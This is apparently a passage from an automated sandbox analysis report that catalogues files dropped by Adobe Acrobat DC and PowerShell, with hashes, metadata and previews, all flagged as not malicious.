SHA-256:	F8B52A32DFBCC12786899093E8B92042569877B8837EAC67B6F608859061EA11
SHA-512:	5B6DA6F64A1FF68A3DF15EB657AB08AD60A1B9B9AC9066E25AF25CD95849B8A094EECB2CF89DE37AA1E2CBE2FE34005047C33843EBF1FDD92ECDCBC3FBE41647
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65ffa0a3-f9d6-4dc1-afc6-d54d1a72662e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736716388611,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.276650778918291
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQD4/+mDitUXjb24kF0Y5oAvJfzdPeUkwRe9:YvXKXBQ0/+pUTbdFGb8Ukee9
MD5:	B36D709918EA93DF81A5393EE2CFAF32
SHA1:	242D208B9E4EC950A8535839FA2B2200A66A8C4C
SHA-256:	C9BCDA685F053DEC20622C463971608F28A9D7B72972E8176CC119F38EC223A1
SHA-512:	9694E3F04837361527F9F7DC85EED871462E0BA93C9ABF1DE2CC1BAE64F0951E7C5553EC4A94FF9925C7094353BD3EE3C9B0107AD7E4BA7DC9064DAA60A11C1A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65ffa0a3-f9d6-4dc1-afc6-d54d1a72662e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736716388611,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.25694808697091
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQD4/+mDitUXjb24kF0Y5oAvJfYdPeUkwRe9:YvXKXBQ0/+pUTbdFGg8Ukee9
MD5:	B91D332DDFB888F3FFE44BF66BFA1E2A
SHA1:	E52DAD97468F2CF5C08D517BEFE43EE0F6B2DB00
SHA-256:	03E8F0D24057877416C256070A23063796B86D4760EE353C905206EF65AB8FA5
SHA-512:	906FCCB6342C30CD75792153AF27E75BA950B4AB794118F7798491CE6EFD4F22BDE518CDEB84EAA448AB04A65AC4445410885552210E5534DB6421DB1566345E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65ffa0a3-f9d6-4dc1-afc6-d54d1a72662e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736716388611,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.242240503578483
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQD4/+mDitUXjb24kF0Y5oAvJf+dPeUkwRe9:YvXKXBQ0/+pUTbdFG28Ukee9
MD5:	89C0A6B2D2BA4E15EFC08FACF795A323
SHA1:	D23ED3301414BD13F82681A11AC81C9AD3A245EA
SHA-256:	6C928FDC527DB78C83E5E41E69603377B8355E5C3D91ECB3B2BF23BFC956E4F5
SHA-512:	C2E2180598920374771E4E211C7287008667316AE9DC9D00C7F8DB03AB97C2CF6187BF9A76599E63F0EC8C8128C1845AE6C972A20CB7732CC3AD61979CE1171E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65ffa0a3-f9d6-4dc1-afc6-d54d1a72662e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736716388611,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.2407910740814
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQD4/+mDitUXjb24kF0Y5oAvJfbPtdPeUkwRe9:YvXKXBQ0/+pUTbdFGDV8Ukee9
MD5:	F25E8C484D297654186F51B47C4B531D
SHA1:	6AD3CAE00B729E6214C1622A7DB36C9D68C663E0
SHA-256:	0AC8430D9CC8892A7B31BBA5540F4557337886751C102669980A3AF56E0046EE
SHA-512:	01A34D4E9152C13DCD529686E36B2020D2BBBF8C35F93FCE2C904F5223E4858CF01B9561F1634E768210AF3296B679F7F7771F1E26242A4D684E2E9F2C142A27
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65ffa0a3-f9d6-4dc1-afc6-d54d1a72662e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736716388611,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.244151768380483
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQD4/+mDitUXjb24kF0Y5oAvJf21rPeUkwRe9:YvXKXBQ0/+pUTbdFG+16Ukee9
MD5:	749D13E021BC2919A349FC0C98E526FD
SHA1:	72B9C438D91CCEDC44E4F49C24715D91FDA2A7DC
SHA-256:	CBC8CFC18BA9A1E67B4F9609A22F7E1EA0C51300A414BF8B23C67F19835E2627
SHA-512:	053B7E4E8C2FB6848625A4A26F021D9FA19A64C0A093F62AD33C1407491601DEB417AFB617EF020B21A2C4156E2879D1D372CDAACA280C32A11382A03AD48EB8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65ffa0a3-f9d6-4dc1-afc6-d54d1a72662e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736716388611,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.649518460763301
Encrypted:	false
SSDEEP:	24:Yv6XBmpUX4amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSj:YvE+w+BgkDMUJUAh8cvMj
MD5:	5F9D02F8588DD57AF00E99B6F42295CB
SHA1:	46774DB026FB8E3CDB29DEA9E9E25B7836B1B4F5
SHA-256:	B1D8DCAB91978E957B06DCD206BEFD1F326F053927B67CB9FCBDA68B0E30269F
SHA-512:	F463952212BF5A547D4BFBBFF440F4B463C02D8324A0F62A9CA2097210664D706E39E09E0E2C9897AB9F3D2DCBD75D455353862795357B9E209AAE968DEDE9E3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65ffa0a3-f9d6-4dc1-afc6-d54d1a72662e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736716388611,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.217197150552278
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQD4/+mDitUXjb24kF0Y5oAvJfshHHrPeUkwRe9:YvXKXBQ0/+pUTbdFGUUUkee9
MD5:	7F7DBEE2D3CE2BC025563D57B99935BE
SHA1:	843C5360804CF94E04C72E259D338689CFFF2DA9
SHA-256:	322C69A9754F1DFEC3296D7D3EBB5077B7ED37A56FA84F9ABCF2E3DB8647E917
SHA-512:	23D90B25A47C6F294C822D952CFF3B9155D2250572149D559BA2094370F8B0B539B1BABEE21B2A54A08CC6AAECCCC4FA8ADE03115A1B7165E4D40E90107A2F1A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65ffa0a3-f9d6-4dc1-afc6-d54d1a72662e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736716388611,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.232762931084501
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBQD4/+mDitUXjb24kF0Y5oAvJTqgFCrPeUkwRe9:YvXKXBQ0/+pUTbdFGTq16Ukee9
MD5:	2812E58EFB5B3DE037E67C3347413219
SHA1:	AF4ECE10FA3E5DE4CB1E30BB75154C9B43AA2C9A
SHA-256:	6C7B9B5207CEC0C8E9ABD2E55C659C829B91478781F6F6E54E30590B7EBECF78
SHA-512:	75691E07C9020FF6C3E14B7C392A10C7861C1A9CCE06F7AD73E081FF2EF535104D630583CB5C0106D8D2747D84181235D7F800FDA977EC30611DA3FE699D2C29
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"65ffa0a3-f9d6-4dc1-afc6-d54d1a72662e","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736716388611,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.137613456906667
Encrypted:	false
SSDEEP:	24:YYlGaRr4mayp1mYdWg6Yhx5NCjZMksj0S2lDCW2L2LSICmmdxQTibDm20l5wE9da:YA4YBdB6y+T+AZ2+6xQTX2e2E94
MD5:	85C80ED2C77E6900FD117DCF198209E6
SHA1:	2DFCF6C8497060C61F482D4BCB52952B977D279C
SHA-256:	A5F9051441B631E99F19A95EC3FCB2E4AE91980B8423B6FE56DAA1D771E9958B
SHA-512:	A73BAEE65576CC31A2B53ED1BA25E5F9A1DBE388732A039E83E64DBD3B932AE13920CEA4380CE5F7A6408A6A38C384D65A54E5BDD5D21EA031C16881DC7257EB
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"ed16900c3170acd096c207b7a001d676","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736542643000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"78e5e49b11d0510b1d59ab50aeb0c160","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736542643000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"1e563a7fd236cf6546d88763b1cfa739","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736542643000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"145173eb45614ef2da91d368a50e31cb","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736542643000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"cbe5b70de8e32a754ed51dee732717d8","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736542643000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"d8b6077cbb48cfc18fe161928a9c5d0b","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3209884207864657
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Y9uzo+EXSqe:TGufl2GL7msUKB0M0+Tb608Y9itr1iU
MD5:	33A76F07CEF207806DC7C94347249BDE
SHA1:	17B790C5FD2B6797BD1A32F9506C8702EAE13B08
SHA-256:	CEE1727761E827F0137A3FD76ECC0EB2CF8EF3E2AC1F266A14F642EFDFB1FF81
SHA-512:	314CF5E4F11435179E237EA5F8E7AB08C0FF0F5522452BA531F5A442C2572A8396C156596461B60D27C04109D7BB0DC8BE31912D5C362907498A3DEE5383B7B5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7809116283041098
Encrypted:	false
SSDEEP:	24:7+tG4l3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Y9uzo/EXSqXlyGKai1qLhx/XYa:7MbKB0M0+Tb608Y9igrGKRqFl2GL7msL
MD5:	272F8EF2ACF208E9D0A9E255FE47FDCA
SHA1:	9295D2A627743129750083B6405EB5822975A48C
SHA-256:	62AA4883BE47C96B4DFEEA8BB329FBF93799CC647F93FAE3068985CAE5D60586
SHA-512:	72230305D21C44315CAC2E3293951ECA67B3C01DC61521F81E231D2594170A79BC2CD675AC4F8E4B18F41BBF5F66A69E00D540C3336D9840306A7CEA48545FFE
Malicious:	false
Preview:	.... .c.....}.i4..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEga6KISaoCNR0q0SW1Of1C7SgbqYyu:6a6TZ44ADEa6WCNR0q3W1M7K
MD5:	B874DC7C2D3E96A99695E2248630A243
SHA1:	090AE9E1694A300AD0EABCCD4A4ACE32A0C9D3E1
SHA-256:	DF24FFB5B006834C87FC5807E4865D7AB6354E79155F23C1C7FC416E99BE2A11
SHA-512:	A91D706CD6E088ABC7646838D81C444CDADC8D650909516DBC9B0DE1BE0F44546E13FB6C3E42683C075450CEAD6909EBCB4BB97B33C8700CABF06D6414FE4AB2
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI3bd80.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4892154787006566
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEVrlH:Qw946cPbiOxDlbYnuRK+bDVr9
MD5:	E77CEEB88A4DE2C830A6C4164C8655C4
SHA1:	31E5E464629066F50235465B4E3A32C9CC11D8E1
SHA-256:	B1C7BA76E6DA50F95C0AEB3992F24A2646A300E14C6DA59A6178B5512D164B57
SHA-512:	55F51BEDF335FBB0DC7C52D5CAA4135E647238962B81D76BFA0AB0B333D777110E4A7E36C4513C54763B885ABA5CBDF929178AA719EA7146AC1C138A95EC5781
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.5.:.5.7.:.2.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_doe4foxu.b0h.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pgmgn0by.2ux.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9almmtw_14qppyf_69g.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 15-57-15-988.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.351659550890417
Encrypted:	false
SSDEEP:	384:n06tisOVL2j1+PIWpGs1w+NIUz+Z7QQtIDEQ2+u3mRfzC88hXK0VQhQts6cNHeWP:GRV
MD5:	5633E81B1B16B32C40F8F88EAB893BD8
SHA1:	A59BF997506EF01BFE0D23B55EB48C6CCA334E83
SHA-256:	89758BA7CFDCB4B575D37869F497B1F7CAAA1D5989C83FE7296D4DFEC3DBE2B0
SHA-512:	9B2627C4B30C42219D37151B89CFC37B7F33E89CFBD8A66EBFA684097A9E7DC3461DC03A4076EE1F7165E7A2CA494BD0EA4674B3264DC663103D4628EBC8BDBA
Malicious:	false
Preview:	SessionID=fd80669d-1096-4a6d-b8ef-af9992615cd0.1736542636007 Timestamp=2025-01-10T15:57:16:007-0500 ThreadID=8316 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=fd80669d-1096-4a6d-b8ef-af9992615cd0.1736542636007 Timestamp=2025-01-10T15:57:16:014-0500 ThreadID=8316 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=fd80669d-1096-4a6d-b8ef-af9992615cd0.1736542636007 Timestamp=2025-01-10T15:57:16:014-0500 ThreadID=8316 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=fd80669d-1096-4a6d-b8ef-af9992615cd0.1736542636007 Timestamp=2025-01-10T15:57:16:014-0500 ThreadID=8316 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=fd80669d-1096-4a6d-b8ef-af9992615cd0.1736542636007 Timestamp=2025-01-10T15:57:16:014-0500 ThreadID=8316 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.404942941275089
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3Zmu:EGvIcNYdpcivuEwwA9Lmv
MD5:	301A5FAF6C3D69DDB258155206610D61
SHA1:	68B575636D902DFBC29344A9BAE6E89D309398E4
